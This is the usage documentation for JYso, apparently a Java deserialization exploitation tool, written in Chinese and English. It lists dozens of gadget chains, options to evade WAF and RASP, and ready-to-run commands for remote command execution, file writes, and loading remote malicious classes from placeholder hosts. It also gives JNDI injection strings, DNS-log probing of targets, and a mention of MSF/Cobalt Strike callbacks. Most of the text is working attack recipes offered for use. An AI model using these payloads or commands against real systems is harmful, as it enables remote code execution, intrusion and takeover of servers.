Table of Contents
使用参数和链子
┏┳┓┏
┃┗┫┏┏┓
┗┛┗┛┛┗┛
[root]#~ Usage: java -jar JYso-[version].jar -y -g [payload] -p [command] [options]
[root]#~ Available payload types:
Payload Authors Dependencies
------- ------- ------------
AspectJWeaver @Jang aspectjweaver:1.9.2, commons-collections:3.2.2
AspectJWeaver2 @QI4L aspectjweaver:1.9.2, commons-collections:3.2.2
BeanShell1 @pwntester, @cschneider4711 bsh:2.0b5
BeanShell2 @killer bsh:2.0b1
C3P0 @mbechler c3p0:0.9.5.2, mchange-commons-java:0.2.11
C3P02 @QI4L c3p0:0.9.5.2, mchange-commons-java:0.2.11, tomcat:8.5.35
C3P03 @QI4L c3p0:0.9.5.2, mchange-commons-java:0.2.11, tomcat:8.5.35, groovy:2.3.9
C3P04 @QI4L c3p0:0.9.5.2, mchange-commons-java:0.2.11, tomcat:8.5.35, snakeyaml:1.30
C3P092 @mbechler c3p0:0.9.2-pre2-RELEASE ~ 0.9.5-pre8, mchange-commons-java:0.2.11
C3P0JDBC @Unam4 c3p0:0.9.5.2, com.alibaba.fastjson1.X
C3P0JNDI @Unam4 c3p0:0.9.5.2, com.alibaba.fastjson1.X
C3P0JNDI2 @Unam4 c3p0:0.9.5.2, com.alibaba.fastjson1.X
C3P0RefDataSource
C3P0WrapperConnPool
Click1 @artsploit click-nodeps:2.3.0, javax.servlet-api:3.1.0
Clojure @JackOfMostTrades clojure:1.8.0
Fastjson1
Fastjson2
FileUpload1
Groovy1 @frohoff groovy:2.3.9
Hibernate1 @mbechler hibernate-core:4.3.11.Final, aopalliance:1.0, jboss-logging:3.3.0.Final, javax.transaction-api:1.2, dom4j:1.6.1
Hibernate2 @mbechler hibernate-core:4.3.11.Final, aopalliance:1.0, jboss-logging:3.3.0.Final, javax.transaction-api:1.2, dom4j:1.6.1
Hibernate3JDBC @Unam4 hibernate-core <= 4.1.12.Fina, com.alibaba.fastjson 1.X
JBossInterceptors1 @matthias_kaiser javassist:3.12.1.GA, jboss-interceptor-core:2.0.0.Final, cdi-api:1.0-SP1, javax.interceptor-api:3.1, jboss-interceptor-spi:2.0.0.Final, slf4j-api:1.7.21
JRE8u20 @frohoff
JRE8u20_2
JRMPClient @mbechler
JRMPClient_Activator @mbechler
JRMPClient_Obj @mbechler
JRMPListener @mbechler
JSON1 @mbechler json-lib:jar:jdk15:2.4, spring-aop:4.1.4.RELEASE, aopalliance:1.0, commons-logging:1.2, commons-lang:2.6, ezmorph:1.0.6, commons-beanutils:1.9.2, spring-core:4.1.4.RELEASE, commons-collections:3.1
Jackson1
Jackson2
Jackson3 @jsjcw 6.2.10
Jackson4 @QI4L 6.2.10
JacksonLdapAttr
JavassistWeld1 @matthias_kaiser javassist:3.12.1.GA, weld-core:1.1.33.Final, cdi-api:1.0-SP1, javax.interceptor-api:3.1, jboss-interceptor-spi:2.0.0.Final, slf4j-api:1.7.21
JdbcRowSet
Jdk7u21 @frohoff
Jdk7u21variant @potats0
Jython1 @pwntester, @cschneider4711 jython-standalone:2.5.2
MozillaRhino1 @matthias_kaiser js:1.7R2
MozillaRhino2 @_tint0 js:1.7R2
Myfaces1 @mbechler
Myfaces2
ROME @mbechler rome:1.0
ROME2 rome:1.0
ROME3 @Firebasky rome:1.0
ROMEJDBC
RenderedImage jai-codec-1.1.3
Resin
SignedObject
Spring1 @frohoff spring-core:4.1.4.RELEASE, spring-beans:4.1.4.RELEASE
Spring2 @mbechler spring-core:4.1.4.RELEASE, spring-aop:4.1.4.RELEASE, aopalliance:1.0, commons-logging:1.2
Spring3 spring-tx:5.2.3.RELEASE, spring-context:5.2.3.RELEASE, javax.transaction-api:1.2
URLDNS @gebl
UnixPrintService
UnixPrintServiceLookup
Vaadin1 @kai_ullrich vaadin-server:7.7.14, vaadin-shared:7.7.14
Wicket1 @jacob-baines wicket-util:6.23.0, slf4j-api:1.6.4
cb160 commons-beanutils:1.6.0
cb183 commons-beanutils:1.8.3, commons-beanutils:1.7X
cb192 @frohoff commons-beanutils:1.9.2, commons-collections:3.1, commons-logging:1.2
cb_AttrCompare183 @SummerSec commons-beanutils:1.8.3, commons-beanutils:1.7X
cb_AttrCompare192 @水滴 commons-beanutils:1.9.2
cb_JDBC @QI4L commons-beanutils:1.9.2
cb_JNDI @QI4L commons-beanutils:1.9.2, commons-collections:3.1
cb_ObjectToStringComparator183 @SummerSec commons-beanutils:1.8.3, commons-lang3:3.10, commons-beanutils:1.7X
cb_PropertySource183 @SummerSec commons-beanutils:1.8.3, commons-beanutils:1.7X
cb_PropertySource192 @SummerSec commons-beanutils:1.9.2
cc1 @frohoff commons-collections:3.1
cc10 commons-collections:3.2.1
cc11
cc12 @Jayl1n commons-collections:3.2.1
cc13 @Unam4 commons-collections:3.1
cc2 @frohoff commons-collections4:4.0
cc3 @frohoff commons-collections:3.1
cc4 @frohoff commons-collections4:4.0
cc4_17 @jiecub3
cc5 @matthias_kaiser, @jasinner commons-collections:3.1
cc6 @matthias_kaiser commons-collections:3.1
cc7 @scristalli, @hanyrax, @EdoardoVignati commons-collections:3.1
cc8 @navalorenzo commons-collections4:4.0
cc9 @梅子酒 commons-collections:3.2.1
cck1 commons-collections:3.1
cck2 commons-collections:4.0
cck3 @matthias_kaiser commons-collections:3.1
cck4 @matthias_kaiser commons-collections:4.0
springFs
usage: JYso-[version].jar [-b64] [-dcfp <arg>] [-dl <arg>] [-dt <arg>] [-f <arg>] [-g <arg>] [-i] [-mcl] [-ncs] [-o] [-p
<arg>] [-rh] [-utf] [-y]
-b64,--base64 base64 encoding
-dcfp,--define-class-from-parameter <arg> Customize parameter name when using DefineClassFromParameter
-dl,--dirty-length <arg> Length of dirty data when using type 1 or 3/Counts of Nesting loops when
using type 2
-dt,--dirty-type <arg> Using dirty data to bypass WAF,type: 1:Random Hashable
Collections/2:LinkedList Nesting/3:TC_RESET in Serialized Data
-f,--file <arg> Write Output into FileOutputStream (Specified FileName)
-g,--gadget <arg> Java deserialization gadget
-i,--inherit Make payload inherit AbstractTranslet or not (Lower JDK like 1.6 should
inherit)
-mcl,--mozilla-class-loader Using org.mozilla.javascript.DefiningClassLoader in TransformerUtil
-ncs,--no-com-sun Force Using org.apache.XXX.TemplatesImpl instead of
com.sun.org.apache.XXX.TemplatesImpl
-o,--obscure Using reflection to bypass RASP
-p,--parameters <arg> Gadget parameters
-rh,--rhino ScriptEngineManager Using Rhino Engine to eval JS
-utf,--utf8-Overlong-Encoding UTF-8 Overlong Encoding Bypass waf
-y,--ysoserial Java deserialization
Recommended Usage: -y -g [payload] -p '[command]' -dt 1 -dl 50000 -o -i -f evil.ser
If you want your payload being extremely short,you could just use:
java -jar JYso-[version].jar -y -g [payload] -p '[command]' -i -f evil.ser
使用说明
本项目为其拓展了除了 Runtime 执行命令意外的多种利用方式,具体如下:
-
TS :Thread Sleep - 通过
Thread.sleep()的方式来检查是否存在反序列化漏洞,使用命令:TS-10 -
RC :Remote Call - 通过
URLClassLoader.loadClass()来调用远程恶意类并初始化,使用命令:RC-http://xxxx.com/evil.jar#EvilClass -
WF :Write File - 通过
FileOutputStream.write()来写入文件,需要对文件路径进行Base64编码,使用命令:WF-L3RtcC9zaGVsbA==#d2hvYW1p -
PB :ProcessBuilder 通过
ProcessBuilder.start()来执行系统命令,使用命令PB-lin-d2hvYW1p/PB-win-d2hvYW1p分别在不同操作系统执行命令 -
SE :ScriptEngine - 通过
ScriptEngineManager.getEngineByName('js').eval()来解析 JS 代码调用 Runtime 执行命令,使用命令SE-d2hvYW1 -
DL :DNS LOG - 通过
InetAddress.getAllByName()来触发 DNS 解析,使用命令DL-xxxdnslog.cn -
HL :HTTP LOG - 通过
URL.getContent()来触发 HTTP LOG,使用命令HL-http://xxx.com -
BC :BCEL Classloader - 通过
..bcel...ClassLoader.loadClass().newInstance()来加载 BCEL 类字节码,使用命令BC-$BCEL$xxx,也可以使用BC-EX-TomcatEcho或BC-LF-/tmp/aaa.class来执行高级功能 -
JD :JNDI Lookup - 通过
InitialContext.lookup()来触发 JNDI 注入,使用命令JD-ldap://xxx/xx -
其他:普通命令执行 - 通过
Runtime.getRuntime().exec()执行系统命令,使用命令whoami
这里需要注意的是,使用 PB 执行系统命令、WF 写入文件的内容、SE 执行命令时,为了防止传参错误,需要 对传入的命令使用 base64 编码
除了上面的利用,项目也通过 ScriptEngineManager 执行 JS 的方式支持了 EX- 的写法,也就是说针对 ChainedTransformer 利用方式也可以打入内存马或回显。
使用示例
JNDI中同理
需要对Base64后的内容进行base64编码
ldap://127.0.0.1:1389/Deserialization/cc1/command/Base64/DL-xxx.org])
命令执行示例:
java -jar JYso-[version].jar -y -g cc1 -p PB-lin-b3BlbiAtYSBDYWxjdWxhdG9yLmFwcA==
DNSLOG示例:
java -jar JYso-[version].jar -y -g cc1 -p 'DL-xxx.org'
脚本引擎解析 JS 代码示例:
java -jar JYso-[version].jar -y -g cc1 -p 'SE-b3BlbiAtYSBDYWxjdWxhdG9yLmFwcA=='
文件写入示例:
java -jar JYso-[version].jar -y -g cc1 -p 'WF-L3RtcC8xLmpzcA==#PCVAcGFnZSBwYWdlR.....'
触发 JNDI 查询注入示例:
java -jar JYso-[version].jar -y -g cc1 -p 'JD-ldap://127.0.0.1:1389/Basic/Command/Base64/b3BlbiAtYSBDYWxjdWxhdG9yLmFwcA=='
普通命令执行示例:
java -jar JYso-[version].jar -y -g cc1 -p 'open -a Calculator.app'
更多使用可以看链子对应代码处的具体注释。
任意自定义代码
如果你不想使用本项目中提供的恶意逻辑,也不想执行命令,可以通过自定义代码的形式,自定义代码将会在目标服务器通过 ClassLoader 并使用了字节码缩短技术,减少Payload体积
示例:
java -jar JYso-[version].jar -y -g cc3 -p LF-/tmp/evil.class -f cc3.ser
对于 TemplatesImpl 使用该功能不会直接打印在回显上,需要-f来保存在使用
URLDNS 探测目标类
为了解决有反序列化利用点但是无链可用的状态,本项目提供了基于 URLDNS 探测目标类的功能。这条链会根据目标环境中不同的类是否存在来判断系统环境、依赖版本:
- 反序列时遇到黑名单,可能导致后面的类的 dnslog 出不来;
- 反序列化流程中由于种种情况报错可能导致出不来。
因此这里还是提供了 all/common/指定类 三种探测方式:
- all:探测全部的类;
- os: 探测系统
- cc: 探测cc链
- cb: 探测cb链
- db: 探测数据库Driver
- jndiAttack: 探测JNDI可利用的类
- datasource: 探测数据源工厂类, 适用于JNDI中BeanFactory无法使用的场景
- jdk: 探测jdk版本以及jdk自带的链
- web: 探测中间件
- other: 探测其他
- 指定类:使用对应链中的关键字 cc4:xxxx.dns.log 。
示例:all:xxx.dns.log
Base64编码all:dnslog地址,即可
java -jar JYso-[version].jar -y -g URLDNS -p 'all:xxx.dns.log'
ldap://127.0.0.1:1389/Deserialization/URLDNS/command/Base64/[base64_encoded_all:xxxxxx.dns.log])
其他利用链的拓展
对于 BeanShell1 及 Clojure 这两个基于脚本语言解析的漏利用方式。
本项目为这两条利用链拓展了除了 Runtime 执行命令意外的多种利用方式,具体如下:
- TS :Thread Sleep - 通过
Thread.sleep()的方式来检查是否存在反序列化漏洞,使用命令:TS-10 - RC :Remote Call - 通过
URLClassLoader.loadClass()来调用远程恶意类并初始化,使用命令:RC-http://xxxx.com/evil.jar#EvilClass - WF :Write File - 通过
FileOutputStream.write()来写入文件,使用命令:WF-L3RtcC9zaGVsbA==#MTIz - 其他:普通命令执行 - 通过
ProcessBuilder().start()执行系统命令,使用命令whoami
与之前的扩展类似,这里也不放截图了。
对于 BeanShell1,还通过 ScriptEngineManager 执行 JS 的方式支持回显或内存马的打入。使用方式同上:EX-
SignedObject 二次反序列化 Gadget
用来进行某些场景的绕过(常见如 TemplatesImpl 黑名单,CTF 中常出现的 CC 无数组加黑名单等)
利用链需要调用 SignedObject 的 getObject 方法,因此需要可以调用任意方法、或调用指定类 getter 方法的触发点;
大概包含如下几种可用的常见调用链:
- InvokerTransformer 调用任意方法(依赖 CC)
- BeanComparator 调用 getter 方法(依赖 CB)
- BasicPropertyAccessor$BasicGetter 调用 getter 方法(依赖 Hibernate)
- ToStringBean 调用全部 getter 方法(依赖 Rome)
- MethodInvokeTypeProvider 反射调用任意方法(依赖 spring-core)
- MemberBox 反射调用任意方法(依赖 rhino)
-
cc,cc4,cb,hibernate,rome,rhino,spring -
利用方式:
-
SignedObjectPayload -> 'CC:cc6:b3BlbiAtYSBDYWxjdWxhdG9yLmFwcA==:1:10000' 最后2个类型是脏数据类型和长度,为0则不混淆
- JNDI-Injection-Exploit 用法:
ldap://127.0.0.1:1389/Deserialization/SignedObject/command/Base64/CC:cc6:[base64_encoded_cmd]:1::10000)
- ysoserial
java -jar JYso-[version].jar -y -g [Gadget] -p "CC:cc6:b3BlbiAtYSBDYWxjdWxhdG9yLmFwcA==:1:10000"
普通命令执行
- JNDI-Injection-Exploit 用法:
${jndi:ldap://127.0.0.1:1389/[Basic or ELProcessor]/command/base64/[base64cmd]}
- ysoserial
java -jar JYso-[version].jar -y -g [Gadget] -p "calc"
MSF/CS 上线
使用 MSF 的上线载荷配合远程 Jar 包调用完成 MSF 上线,后续可转 CS。